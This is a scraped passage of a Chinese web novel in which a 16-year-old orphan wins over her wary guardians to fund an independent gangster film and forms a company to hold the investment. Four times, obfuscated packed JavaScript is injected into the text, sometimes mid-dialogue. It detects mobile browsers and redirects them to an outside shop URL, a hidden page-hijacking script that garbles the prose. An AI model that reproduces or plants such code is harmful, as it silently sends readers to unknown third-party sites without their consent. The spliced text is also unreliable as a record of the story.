劳伦斯自己做了这么多年制片,太清楚独立片财务混乱的样子了,多少好片子就是因为钱被乱花而烂尾。有个专业的会计师盯着,反而是好事。 “我同意!” 昆顿第一个跳起来,生怕菲伊反悔,“别说55%,就是60%的分成我都愿意!只要能让我按自己的想法拍这部片子,什么条件我都答应!” 劳伦斯也用力点头,眼眶微微发红:“菲伊,谢谢你。你给我们的不只是钱,还有尊重和信任。我向你保证,每一分钱都会花在刀刃上,我会让会计师把每一笔账都记得清清楚楚,绝对不会让你失望。” “先别忙着高兴。”菲伊打断他,嘴角勾起一抹狡黠的笑,“还有最后一件事,需要你去搞定。” “什么?”劳伦斯不明所以。 “你得负责搞定我的监护人。”菲伊摊了摊手,一脸无辜,“别忘了,我才16岁,未成年。要在投资合同上签字,没有我的监护人——也就是佩妮和马丁同意,可不行。” 劳伦斯:“……” 他脸上的感动瞬间僵住,整个人像被雷劈了一样,呆坐在椅子上。 天塌了。 让他那个严厉刻板的父亲,同意自己16岁的养女投120万美元给一个草台班子拍摄的黑/帮暴力片? 这比让他再去见37个投资人还要难!这根本就是地狱级难度! 昆顿显然也反应过来,他无比同情地拍了拍劳伦斯的肩膀,憋笑憋得肩膀直抖:“好兄弟,加油!我们的电影能不能成,就全靠你了。” 38.第38章 劳伦斯开车送菲伊回家,一路上都心神不宁。 他双手紧紧攥着方向盘,指节都泛了白,脑子里翻来覆去全是“怎么跟我爸说”这几个字。 他会被老头打出来的吧? 不,绝对不止!说不定老头一怒之下真的和他断绝父子关系! 他光是想想那个画面,就觉得头皮发麻。 车子缓缓停在索尔家的铁艺大门前。菲伊解开安全带,转头看他:“都到家门口了,不进去坐会儿?正好见见佩妮和马丁。” 劳伦斯的脸“唰”地一下变了。 他头摇得像拨浪鼓,说话都开始结巴:“不、不用了!那个……时间不早了,他们肯定早就睡了,我就不进去打扰了。你快进去吧,早点休息。” 他话音刚落,别墅的门“吱呀”一声开了。暖黄色的灯光从屋里溢出来,佩妮披着一件米白色的针织外套,手里拿着手电筒,正探着头往这边看:“菲伊?是你回来了吗?” 菲伊憋着笑,冲劳伦斯做了个口型:“他们没睡。” 劳伦斯:“……” 他恨不得找个地缝钻进去。 不等菲伊再说什么,他猛地踩下油门,汽车轮胎在地面上擦出一声轻响,像只受惊的兔子一样,头也不回地窜了出去,转眼就消失在街角的夜色里。 佩妮走到门口,只看到一个远去的车屁股。她疑惑地眨了眨眼,问刚下车的菲伊:“刚才那是谁啊?怎么跑这么快?” “是一个朋友。”菲伊终于忍不住笑了出来,“他有点急事,先走了。” “朋友?” 佩妮愣了一下,随即惊喜道,“你这么快就交到新朋友啦,真是棒极了!” 她高兴地拉着菲伊的手往里走,掌心传来暖暖的温度,嘴里絮絮叨叨地念叨着:“别看洛杉矶白天热得要命,晚上温差大得很。你出门也不知道带件外套,你看你手都凉了。 下次再这么晚回来,记得提前给我打个电话,我好给你留门。” 客厅里,马丁坐在沙发上睡着了。他身上盖着一条羊毛毯子,手里攥着老花镜,电视开着静音,屏幕上正播放着夜间新闻。 听到脚步声,他立刻醒了过来,揉了揉眼睛,抬头看向菲伊。 “回来了。” 他的声音还有点刚睡醒的沙哑,“今天玩得开心吗?” “挺开心的,认识了几个新朋友。” 菲伊点点头。 马丁“嗯”了一声,上下打量了她一眼,确认她没什么事,才站起身,叠好腿上的毯子:“开心就好。时间不早了,早点休息吧。” 他重新把眼镜戴上,关了电视,转身慢慢走上楼。 菲伊看着他的背影,又看了看身边正在给她热牛奶的佩妮,心里暖暖的。 她知道,这对老夫妇是特意坐在客厅等她回来的。 从前她总是一个人,无论是福利院还是学校,从来都没有人为她留一盏灯,等她回来。 菲伊暗暗下定决心,以后再晚回来,一定要提前给他们打个电话。不能再让两个老人为自己担心。 周二上午,菲伊正趴在书桌前刷SSAT的数学题,笔尖在草稿纸上飞快地演算着。突然,楼下传来“咔哒”一声开门声,紧接着是佩妮惊讶的喊声:“劳伦斯?” 菲伊放下笔,走到楼梯口往下看。 客厅里站着一个焕然一新的男人——劳伦斯破天荒穿了件熨烫得没有一丝褶皱的藏蓝色衬衫,西裤笔挺,皮鞋擦得锃亮,略有些长的头发都梳到脑后,用发胶固定,手里还拎着好几个印着精致的礼品袋。 要不是脸还是那张脸,菲伊差点认不出这是几天前那个浑身写满了“落魄”的制片人。 “我的天,你怎么回来了!”佩妮快步迎上去,脸上笑开了花,踮起脚在他两边面颊各亲了一下,“我还以为你要等到圣诞节才肯踏这个家门呢。” 劳伦斯有些不好意思地挠挠头:“这不是想你们了嘛。” 佩妮转头朝楼上喊:“菲伊!快下来!”她拉着劳伦斯的胳膊,笑着介绍,“这是我儿子劳伦斯。劳伦斯,这就是菲伊。” “我们已经见过了。”劳伦斯笑着朝菲伊挥挥手。 “你们见过了?”佩妮讶异道,“什么时候的事?” “是啊,前几天在南加大那边碰巧遇上的。”劳伦斯顺势坐下,清了清嗓子,开始绘声绘色地讲起酒吧里的事。 沙发上的马丁从进门起就没抬过头,依旧捧着手里的《法律评论》,鼻梁上架着老花镜,一副漠不关心的样子。 但菲伊看得清楚,他捏着书页的手指微微用力,那一页纸已经停留了足足五分钟,连翻都没翻一下。 显然,他的注意力早就被这边的动静吸引过来了。 另一边的劳伦斯,仍在滔滔不绝讲个不停。 “……那小子手心抹了镁粉,所有人都被蒙在鼓里,就菲伊一眼就看出来了!上去一把扣住他手腕,当时贾斯帕那脸,一下子绿得跟菠菜似的……” 劳伦斯不愧是靠嘴皮子拉投资的人,把菲伊揭穿作弊、为埃文解围的过程说得跌宕起伏。 听得佩妮一会儿捂住嘴惊叹,一会儿皱着眉担心,听到贾斯帕欺负人时气得直拍大腿:“太不像话了!现在的年轻人怎么这么坏!” 最后她一把搂过菲伊,心疼又骄傲地揉着她的头发:“我们菲伊太厉害了!勇敢又聪明,幸好有你,不然那个可怜的孩子就要被欺负惨了。” 沙发那头的马丁依旧没说话,但嘴角不自觉地往上扬了扬,还几不可闻地点点头。 他就知道,菲伊这孩子很聪明,不像自己那个不争气的儿子,都三十了还在外面瞎混。 想到这儿,他忍不住冷哼一声,终于抬起头,板着脸开口:“说吧,无事不登三宝殿,你今天回来到底有什么事?” 客厅里瞬间安静下来。 劳伦斯摸了摸鼻子,有些心虚地说:“我……确实有点事想跟你们商量。” “我就知道。”马丁露出一副“果然如此”的表情,把书往茶几上一放,抱着胳膊看着他。 “哎呀,孩子好不容易回来一趟,你别一上来就摆脸色。”佩妮瞪了马丁一眼,连忙打圆场,“有什么事不急,先坐。我去给你沏你最爱喝的柠檬红茶,加两块糖对不对?” “谢谢妈。”劳伦斯松了口气,感激地看了佩妮一眼。 菲伊也笑着指了指他脚边的礼品袋:“劳伦斯,你这大包小包的,该不会是给我们带礼物了吧?” “对对对,差点忘了。”劳伦斯连忙把礼品袋一个个拿出来,“这些零食是给菲伊买的,都是她们这个年纪的小姑娘爱吃的牌子;这两盒保健品是给你们的,对心脏好;这条披肩是给妈的,上次逛街看到这个花色,觉得你肯定喜欢;还有这个——” 他拿出一个黑色的眼镜盒,递给马丁,“爸,给你的新老花镜,你那副镜片都磨花了,早就该换了。” 佩妮放下柠檬茶,接过披肩,摸了摸柔软的丝绸料子,笑得眼睛眯成一条缝:“真好看!你还记得我喜欢这个花色,太有心了。” 菲伊打开自己的礼物,是一支万宝龙的钢笔,笔身上刻着她名字的缩写“F.W”,精致又实用。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17789994|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' “谢谢你,我很喜欢。” 马丁拿着眼镜盒,脸上没什么表情,嘴上还硬邦邦地说:“浪费钱,我那副还能用。”但他还是打开盒子,把新眼镜拿出来戴上,对着光看了看,又悄悄扶了扶镜腿。 虽然话里嫌弃,但唇角却悄悄扬了扬。 气氛缓和了不少。 劳伦斯喝了一口佩妮沏的柠檬茶,深吸一口气,终于鼓起勇气开口: “爸,妈,其实是这样的。我和一个朋友正在筹备一部独立电影,剧本特别好,现在正在拉投资。菲伊看过剧本,也见过导演,觉得这个项目不错,想投一笔钱。我今天回来,就是想跟你们商量一下这件事。” 话音落下,客厅里原本缓和的气氛陡然一滞。 佩妮佩戴丝巾的动作僵住了,马丁的脸色立刻沉下来,猛地一拍茶几,声音提高: “什么?!让菲伊投资你的电影?我不同意!” “劳伦斯,你在外面怎么胡搞瞎搞我不管,反正你翅膀硬了,我管不了也懒得管!”马丁指着他的鼻子,气得胸口起伏,“但你别带坏菲伊!她才16岁,还是个孩子。你连一个16岁女孩的钱都想骗,你太令我失望了!” “我没有骗她!”劳伦斯顿时急了,猛地站起来,“是菲伊自己看完剧本主动要投的!你别看她小,很多事她比许多成年人都懂,条款都是她自己定的,我一条没动!” “她懂什么?!”马丁冷笑一声,“她懂电影怎么拍?懂发行怎么运作?懂好莱坞那些坑蒙拐骗的门道?我看是你花言巧语把她忽悠了!我告诉你劳伦斯,只要我还是菲伊的监护人,这件事就绝对不可能!” “爸!你怎么就不信我呢!这部片子真的能成!” “你拿什么保证?啊?更何况,她的钱是用来上学的,不是给你打水漂的!” 父子俩越吵越凶,脸都涨红了。佩妮和菲伊连忙上去拉架。 “好了好了,别吵了!有话好好说!”佩妮拽着马丁的胳膊。 “劳伦斯,你先冷静点。”菲伊也拉着劳伦斯的袖子。 “我没法冷静!”劳伦斯甩开手,“他总是都不信我!一直都觉得我做的事都是胡闹!” “你要我信你,可你看看这些年你都干成了什么?”马丁怒道,“瞒着我们辞掉律所的工作,说要去好莱坞闯一番事业。结果呢?7年了,一事无成!” 他的声音因为愤怒而发颤,花白的鬓角都竖了起来:“我和你妈不求你大富大贵,只求你安安稳稳过日子。你倒好,非要去碰那些虚无缥缈的东西!现在混不下去了,就打起菲伊的主意?” “我没有打她的主意!”劳伦斯的火气“噌”地一下上来,对着马丁吼道,“这些年我在好莱坞怎么过的,你们知道吗? 我端茶倒水搬器材,被投资人指着鼻子骂,被导演当孙子使唤,什么脏活累活没干过?我熬了整整7年,才等到这么一个机会!昆顿是天才,这个剧本一定会火的,你们就不能信我一次吗?” “信你?我拿什么信你?”马丁冷笑,“上次你说那个纪录片能成,投进去的三万块打了水漂。上上次你说那个短片能拿奖,最后连电影节的门槛都没摸着。劳伦斯,我已经给过你太多次机会了!” “那都是小打小闹!这次不一样!” “在我眼里都一样,都是不务正业!”马丁气得浑身发抖,指着门口,“你要是非要执迷不悟,就别认我这个父亲!更别来祸害菲伊!” 说完,他转身“噔噔噔”地上了楼,书房门被他甩得震天响,连墙上的挂钟都颤了颤。 39.第39章 “我什么时候祸害菲伊了!他怎么永远都听不懂人话!” 劳伦斯一拳砸在沙发扶手上,重重坐了下来,把脸埋进手里。 他的肩膀微微颤抖着,积攒了多年的委屈和不甘在这一刻全部爆发出来。 佩妮叹了口气,走过去轻轻拍了拍他的背:“好了好了,别气了。你爸就是那个脾气,刀子嘴豆腐心。他也是怕你吃亏,更怕菲伊受委屈。” “怕我吃亏?他从来就没信过我能做成事!”劳伦斯抬起头,眼睛通红,“他一上来就给我扣帽子,说我骗菲伊的钱,现在又把我的事业贬的一文不值!路是我自己选的,再苦再累我都自己扛着,从来没跟家里要过一分钱!” 菲伊递给他一张纸巾:“马丁只是在说气话,你别往心里去。他当了一辈子律师,凡事都求稳,电影这种高风险的东西,他一时接受不了很正常。我们给他一点时间,慢慢跟他说,总会说通的。” 劳伦斯接过纸巾,擦了擦脸,沮丧地摇头:“我看悬。凡是我想做的事,在他眼里都是不务正业。” “先别急,我先看看。”佩妮坐下来,对劳伦斯说,“把你的剧本和那个什么投资协议拿给我看看。” 劳伦斯眼睛一亮,连忙从公文包里拿出厚厚的一摞文件:“在这儿呢!这是剧本,这是预算表,这是菲伊定的投资条款,全都是保护她利益的。” 佩妮拿起剧本,翻了几页,眉头就紧紧皱了起来。 越往后翻,她的眉头皱得越紧,最后“啪”地一声合上剧本:“我的天!这里面全是脏话和打打杀杀!还有割耳朵的画面?这也太暴力了!你们拍这种片子,当真有人喜欢看吗?” “有的有的!”菲伊连忙说,“现在年轻人就喜欢这种真实、有冲击力的片子。而且这种黑/帮片在录像带市场特别吃香,很多人租录像带就爱看这个。” “没错!”劳伦斯连忙点头,“我们做过调研,去年卖得最好的十部录像带里,有六部都是帮派动作片。只要能在圣丹斯拿个提名,光海外版权就能回本了。” 两人你一言我一语,一个讲市场前景,一个拍胸脯保证质量,说得口干舌燥。佩妮的脸色渐渐缓和了一些,但还是有些犹豫。 “那……你打算投多少?” 她看着菲伊问。 “120万。” 菲伊抿抿唇,小声道。 “多少?!”佩妮猛地站起来,声音都变了,“120万?!菲伊,你哪里来的这么多钱?是你父母留给你的遗产吗?不行不行,绝对不行! 就算要投,投个万把块钱玩玩就行了,怎么能投这么多?万一亏了怎么办?我怎么和你去世的父母,怎么和阿利斯泰尔交代!” 她说着,转头就拧住了劳伦斯的耳朵,气得咬牙切齿:“好啊你个臭小子!果然是你糊弄菲伊!把你忽悠投资人那一套都用在她身上了是不是?120 万!你也敢开口!太不像话了!” “哎哎哎!疼疼疼!妈,松手!”劳伦斯疼得龇牙咧嘴,连连求饶,“我真没糊弄她!是菲伊自己主动提出投这么多的!我本来以为她最多投四五万!” “佩妮阿姨,你先松手,不关劳伦斯的事。”菲伊连忙上前拉开佩妮,“这钱不是我父母的遗产,是我自己赚的。我这半年做原油期货,赚了些钱,120万虽然多,但在我能承担的风险范围内,这点你大可以放心。” 她把劳伦斯的笔记本拿给佩妮看: “你看,这些都是劳伦斯做的预算,每一笔钱都算得清清楚楚。胶片多少钱,演员多少钱,场地多少钱,连买盒饭的钱都列出来了,保证每一分钱都花在刀刃上。 我不是一时冲动,我研究过这个项目,也评估过风险。而且如果资金不到位,片子拍了一半烂尾,那投进去的钱才真的打水漂了。既然要投,不如一步到位,把所有准备工作都做好,这样成功的概率才大。” 劳伦斯连忙打开投资协议,给佩妮看:“对啊。你看,上面的条款也写得很明白,优先回本,财务全程监管,绝对不会乱花一分钱。” 佩妮看着笔记本上密密麻麻的数字,又看着协议中权责分明的条款,再看看菲伊坚定的眼神,心里渐渐动摇了。 这段时间相处下来,她也算对菲伊比较了解了。 这孩子从来不是冲动任性的人,做事沉稳有主见,比很多成年人都靠谱。而且,这也是劳伦斯这么多年来,第一次这么认真地想做成一件事。 她沉默了许久,终于叹了口气:“好吧,我同意了。” “真的?!” 菲伊和劳伦斯异口同声地喊出来,激动地击了个掌。 “先别高兴得太早。”佩妮泼了一盆冷水,“我同意没用,关键是你爸。他要是不同意,合同根本签不了。” 劳伦斯脸上的笑容马上僵住了。他抬头看了看紧闭的书房门,咽了口唾沫,深吸一口气,拿起桌上所有的文件。 “我去跟他谈。”他握紧拳头,给自己打气,“这次我一定要好好跟他说,让他知道,我不是在胡闹。” “你注意下脾气,好好和你爸说。”佩妮叮嘱道。 “行。我知道。” 劳伦斯说完,随即转身走上楼梯,敲响了书房的门。 但很快,书房里便传来争吵声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17793856|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' p> 先是马丁低沉严厉的呵斥,接着是劳伦斯激动的辩解,声音越来越高,夹杂着拍桌子的闷响。菲伊下意识地往楼梯口走,却被佩妮一把拉住。 佩妮轻轻摇了摇头,叹了口气:“算了,让他们吵吧。这么多年的疙瘩,不是一次就能解开的。吵开了,反而比憋着好。” 没过多久,争吵声戛然而止。 书房门“砰”地一声被拉开,劳伦斯快步冲了下来。他的衬衫领口被扯得歪歪扭扭,头发也乱了,路过菲伊身边时顿了顿,抬手抹了把脸。 菲伊清楚地看到,他的眼眶泛红,眼底满是疲惫和挫败。 “抱歉,菲伊。” 他的声音沙哑,“我还是没能劝动他。实在不行……投资的事就算了吧。我们再想别的办法,大不了多跑几个城市,多找几个投资人,东拼西凑总能凑够的。” 说完,他转身就往门口走,连佩妮喊他都没回头。 “劳伦斯!” 菲伊快步追了出去,在他拉开车门的前一秒叫住他。 劳伦斯抬头,嘴角绷成一条僵硬的直线。几缕碎发软塌塌地垂在汗湿的额角,遮住了半只眼睛,显得格外落寞。 “别灰心。”菲伊走到他面前,认真地说,“马丁叔叔不是不讲理的人,他只是一时接受不了。给他一点时间,他会明白我们不是在胡闹的。” 劳伦斯扯了扯嘴角,露出一个苦涩的笑:“但愿吧。” 他发动车子,冲菲伊挥了挥手,“我先回去了。有事给我打电话。” 看着银色本田消失在街角,菲伊轻轻叹了口气。她知道,光靠劳伦斯去说,很难说服马丁。 想要让马丁同意,必须让他看到,这不是一次冲动的玩票,而是一份经过深思熟虑的、成熟的商业计划。 一周后。 洛杉矶市中心的金融区,玻璃幕墙的写字楼在阳光下闪着冷硬的光。 穿着笔挺西装的男男女女步履匆匆,手里攥着公文包和砖头一样的手提电话,路边的公用电话亭时不时传来急促的通话声。 菲伊穿着雪纺一字领衬衫和卡其色长裤,手里拿着一个黑色文件夹,和马丁并肩走在人行道上。 “你到底要带我去哪?神神秘秘的。”马丁推了推鼻梁上的老花镜,语气里带着一丝疑惑。 自从那天吵架后,劳伦斯再也没来过,家里的气氛一直有些沉闷。今天早上菲伊忽然说要带他去市中心见个人,问是什么事却只说“到了就知道”。 “到了您就明白了。”菲伊笑了笑,推开了面前写字楼的玻璃门,“是一件很重要的事,需要您帮个忙。” 40.第40章 两人乘电梯上了十二楼,电梯门打开,迎面就是一块锃亮的铜牌,上面刻着“哈珀&霍尔特商业律师事务所”。 前台的接待员笑着迎上来:“温斯洛小姐是吗?哈珀律师已经在会议室等您了。” 马丁的眉头微微皱了起来。他当了半辈子的律师,对这个名字并不陌生——詹姆斯·哈珀是洛杉矶小有名气的商务律师,收费不菲。 菲伊找他做什么? 跟着接待员走进会议室,一个中年男人正站在窗边打电话。他头发微卷,发际线稍稍往后,中等身材,因常年伏案的缘故有些发福,但举手投足间带着一种沉稳可靠的气场。 听到脚步声,他简单和电话那头说了几句,很快挂断电话,转过身笑着迎上来。 “温斯洛小姐,您好。”他快步走上前,先伸出手,和菲伊轻轻握了一下,声音低沉悦耳,带着恰到好处的热情,“我是詹姆斯?哈珀。电话里沟通很愉快,您本人比电话里听起来更沉稳。” 说完,他目光转向旁边的马丁,眼睛亮了一下,再次伸出手: “这位一定是马丁?索尔先生吧?久仰大名!我在5年前的加州律师协会年会上,听过您关于数字版权保护的主题演讲,实在太精彩了。没想到今天能有幸见到您本人。” 马丁微微挑眉,有些意外,礼貌地回握了一下:“哈珀先生客气了。我也听说过你,你在公司法务和投融资这块做的很不错,圈内口碑很好。” “索尔先生过奖了。”哈珀笑着摆摆手,引着两人在会议桌旁坐下,“我知道您是专攻知识产权的,今天可能要麻烦您帮温斯洛小姐把把关。” 哈珀没有绕弯子,直接从文件夹里拿出一叠文件,推到马丁面前:“索尔先生,今天请您过来,是因为温斯洛小姐想注册一家有限责任公司,也就是LLC。根据加州法律,未成年人不能担任公司法人,所以她希望您能出任这家公司的法定代表人。” 马丁唰地抬起头,看向菲伊的眼里满是惊讶:“注册公司?菲伊,你要做什么?” “做投资。”菲伊平静地开口,把自己的文件夹打开,“这家公司我是唯一的出资人和控股人,前期主要投资独立电影,后续会逐步拓展到金融和实业领域。 您是我的监护人,也是我最信任的人,所以我希望您能担任法人。在我成年之前,所有对外合同都需要您签字确认,所有财务流水您都有权查阅。” 哈珀适时补充道:“索尔先生,我已经和温斯洛小姐详细讨论过公司架构。我们会设立双重监管账户,任何超过1000美元的支出,都需要您和温斯洛小姐共同签字才能生效。您作为法人,只承担有限责任,所有投资风险都由公司资产承担,不会牵连您的个人财产。” 马丁没有说话,他拿起桌上的文件,一页一页地翻着。公司章程、股权协议、监管账户说明…… 每一份文件都写得严谨规范,几乎没有漏洞。 显然,菲伊不是一时兴起,她早就做好了所有准备。 他抬起头,看向菲伊,眼神复杂:“你什么时候开始计划这些的?” “从决定投资《落水狗》开始。”菲伊迎上他的目光,语气认真,“马丁叔叔,我知道您觉得我年纪小,不懂事,投资电影是胡闹。但我不是一时头脑发热。我做过调研,算过风险,也做好了最坏的打算。 注册这家公司,就是为了把所有事情都摆在明面上,合法合规,也最大程度地保护我自己的利益。” 哈珀在一旁点头:“温斯洛小姐非常专业。她对公司架构、风险隔离、税务规划等方方面面都很了解。说实话,我第一次和她沟通的时候,都不敢相信她只有16岁。” 马丁沉默了。 他一直以为,菲伊只是个聪明懂事的孩子,却从来没有意识到,她已经有了如此清晰的人生规划和如此强大的执行力。 他深吸一口气,重新拿起笔,开始逐字逐句地审核文件。作为一名从业三十多年的老律师,他的眼光毒辣无比,时不时会指出一些细节上的问题,哈珀一一解答,菲伊也在旁边补充自己的想法。 讨论持续了整整两个小时。 从公司注册流程,到监管账户的设立,再到后续投资的法律流程,马丁问得极其细致。他不再是那个反对菲伊投资的监护人,而是变回了那个严谨专业的律师。 “关于电影投资的部分,” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17796654|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 马丁突然开口,看向菲伊,“你说的《落水狗》,预算120万,你占55%的净利润分成,优先回本,财务全程监管?” “是的。”菲伊点点头,把劳伦斯的预算表拿了出来,“这是详细的预算表,每一笔支出都列得清清楚楚。” 马丁接过预算表,仔细地看着。 他看到了胶片和摄影机的费用,看到了演员的最低工资标准,也看到了那15%的应急金。 没有任何虚高的水分。 他想起那天劳伦斯涨红着脸跟他争辩的样子,想起劳伦斯说“我没有骗她”。 原来,他的儿子这次真的没有胡闹。他是真的想做好这部电影。 “回款周期呢?”马丁头也不抬地问。 “最快两年。我们预估主要收入将来自录像带租赁和海外版权,院线票房只是小头。”菲伊回答,“我查过过去三年同类型独立片的营收数据,只要能在圣丹斯入围,回本没有问题。如果能拿奖,利润至少翻三倍。” 马丁抬起头,看着菲伊。阳光透过会议室的玻璃窗,落在她的脸上,她的眼神清澈而坚定,没有丝毫动摇。 他终于明白,菲伊不是被劳伦斯忽悠了。恰恰相反,眼前的女孩才是占据主导权的那个人。 他合上文件,把笔放在桌上,看着哈珀:“哈珀律师,这些条款我基本没有意见。有几处细节需要修改,我下午把修改意见发给你。” 然后,他转头望着菲伊,脸上终于露出了一丝难得的笑容,“公司注册的事,我同意了。法人我来当。” 菲伊的眼睛瞬间亮了起来。 “但是。”马丁话锋一转,语气又变得严肃起来,“把劳伦斯的投资协议拿给我。我要亲自审核每一个条款,一个字都不能漏。还有,让劳伦斯明天晚上回家吃饭。我要当面问他一些关于电影的细节。 菲伊愣了一下,随即反应过来,忍不住笑了:“好!我现在就给劳伦斯打电话!” 走出律师事务所的时候,正午的阳光正好。马丁看着身边蹦蹦跳跳给劳伦斯打电话的菲伊,嘴角不自觉地上扬。 也许,他真的应该放下偏见,好好看看儿子做的事情了。 41.第41章 三周后,布莱特伍德中学。 伴随着一阵“嘎吱”声,黑色的铁栅栏门缓缓拉开,刚结束SSAT考试的学生们像潮水般涌出来,有人把试卷揉成球抛向空中欢呼,有人耷拉着脑袋和同学对着答案,叽叽喳喳的喧闹声填满了整条街道。 “菲伊!这里!” 凯瑟琳斜靠在她那辆亮红色的保时捷敞篷车上,朝着人群使劲挥着手。 她今天穿了件明黄色的吊带裙,金色的长发扎成高马尾,随着动作晃来晃去,在秋日的阳光下晃得人睁不开眼。看到菲伊的身影,她立刻蹦起来,隔着老远就喊:“考得怎么样?难不难?” 菲伊背着双肩包走出校门,脸上带着考完试后的轻松。她把笔袋扔进包里,笑着走过去:“还行,大部分题都练过,应该没什么问题。” “那就好,我就知道你肯定没问题的!”凯瑟琳一把搂住她的肩膀,把她往车上推,“我早就订好了圣莫尼卡那家最火的海鲜餐厅,龙虾、帝王蟹随便点,今天必须好好犒劳你!这一个月你天天刷题,都快把自己熬成小老太太了。” 两人刚坐进餐厅的靠窗位置,菲伊的手提电话就响了。她看了一眼来电显示,是劳伦斯。 “喂,劳伦斯。” “菲伊!考完了吧?感觉怎么样?”电话那头的劳伦斯声音洪亮,透着抑制不住的兴奋,“我跟你说个好消息!第一批30万启动款今天上午已经打到剧组专用账户了!我爸亲自签的字,一分钱都没卡!” 他激动得语速飞快,像倒豆子似的絮絮叨叨汇报着: “剧组筹备得差不多了!场地都谈好了,那个仓库我们借了两个月,昆顿已经带着美术组进去搭景了。 器材也租到了,就是我以前老板那家公司的,给了我们友情价。顺利的话,下周三就能开机!” “之前怕影响你备考,这些琐事就没敢跟你说。”劳伦斯的语气里带着一丝歉意,更多的是藏不住的喜悦,“对了,演员也终于找齐了。可把我们折腾坏了,昆顿挑演员挑得眼睛都快瞎了,稍微有点不满意就换人。” 菲伊靠在椅背上,听着他兴奋的声音,嘴角也不自觉地上扬:“演员都定了谁啊?” “3个有经验的老演员,3个新人。还有一个戏份最少的棕先生,昆顿索性自己客串了,能省一点是一点,嘿嘿。”劳伦斯笑着说,“最重要的白先生也定了,是哈里·基特尔!他从六十年代就开始活跃在影坛了,是个真正的大明星!昆顿从小就是他的粉丝,家里贴了不少他的海报呢。 这次他看完剧本特别喜欢,主动降了片酬,只拿了一点基本工资,剩下的全换成了利润分成。” 菲伊心里了然。 哈里·基特尔这个名字她没什么印象,毕竟这位演员成名的时候,她上辈子的母亲都还没出生,是实打实的好莱坞老前辈。 能让这样的演员自降片酬加盟,足以证明《落水狗》剧本的魅力。 “太好了。”菲伊真心为他们高兴,“那你们接下来就专心拍戏,有什么事随时给我打电话。财务那边有什么问题,直接找马丁或者哈珀律师就行。” “放心吧!我肯定把每一分钱都花在刀刃上。”劳伦斯拍着胸脯保证,“等开机那天,你要是有空,过来探班啊。昆顿说要给你留个最好的位置。” “好,我有空一定去。” 挂了电话,凯瑟琳正托着腮,一脸好奇地看着她:“是劳伦斯吗?电影那边怎么样了?终于要开拍了?” “嗯,下周三开机。”菲伊放下大哥大,拿起叉子叉了一块龙虾肉,“第一批投资款已经到账了,演员也找齐了,一切都挺顺利的。” “哇,这么快!”凯瑟琳眼睛一亮,“我还以为要等好久呢。找演员很难吗?” “挺难的。”菲伊笑了笑,“毕竟是小成本独立电影,没名气没资源,很多演员一听是新人导演,连剧本都不愿意看。昆顿又挑剔,稍微不符合他心里角色形象的都不要,折腾了快一个月才凑齐。” “太不容易了。”凯瑟琳感叹道,“等上映了我一定包十场,叫上我所有朋友去看!” 两人边吃边聊,一顿饭吃了两个多小时。结账的时候,凯瑟琳抢着买了单,然后神秘兮兮地对菲伊说:“走,我带你去个地方。” “去哪啊?” “迪士尼乐园!”凯瑟琳晃了晃手里的车钥匙,笑得一脸灿烂,“我早就订好了迪士尼酒店的房间,今晚住那儿,玩到明天晚上再回来。你这一个月天天学习,都快闷坏了,正好去放松放松。” 菲伊愣了一下,随即笑了。她确实好久没有好好放松过了。从休斯顿逃到洛杉矶,先是忙着安顿,然后又全身心投入SSAT备考,神经一直绷得紧紧的。 现在考试结束,电影也即将顺利开拍,是该给自己放个假了。 “好啊。”她点点头,拿出大哥大给佩妮打电话报备,“佩妮,我和凯瑟琳去迪士尼玩,今晚住那边,明天回来。” “好,注意安全。”佩妮在电话那头温柔地说,“玩得开心点,不用着急回来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17798471|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ” 挂了电话,凯瑟琳兴奋地拉着菲伊跑向停车场。她跳上敞篷车,按下按钮,车顶缓缓收起。风瞬间灌了进来,吹起两人的头发。 “坐稳了!”凯瑟琳踩下油门,红色跑车“嗖”地一下冲出去,在车流中划出一道火红的弧线。 …… 从过山车车厢里跌跌撞撞走出来时,凯瑟琳的腿还在打颤。 她踉跄着扑到旁边的金属栏杆上,整个人挂在上面大口喘气。 